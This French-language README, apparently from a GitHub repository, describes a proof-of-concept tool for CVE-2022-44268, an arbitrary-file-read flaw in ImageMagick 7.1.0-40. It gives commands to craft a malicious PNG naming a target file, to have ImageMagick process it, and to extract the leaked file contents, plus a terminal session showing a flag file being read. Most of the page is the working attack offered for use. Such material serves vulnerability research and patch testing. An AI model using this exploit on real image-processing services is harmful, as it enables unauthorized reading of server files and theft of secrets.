Partager

CVE-2022-44268

Crédit aux chercheurs ayant découvert cela :

Bryan Gonzalez et l'équipe Ocelot

Créez un PNG malveillant pour exploiter ImageMagick 7.1.0-40 :

CVE-2022-44267: Déni de service
CVE-2022-44268: Divulgation d'informations

Disclaimer : L'auteur de ce projet n'est pas responsable des éventuels dommages causés par les matériaux de ce projet.

Prérequis

Python3
PIL (pip install Pillow)

Utilisation

Création d'un PNG avec craft.py :

git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

Extraction de données avec extract.py :

python3 extract.py exfil.png

PoC

anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$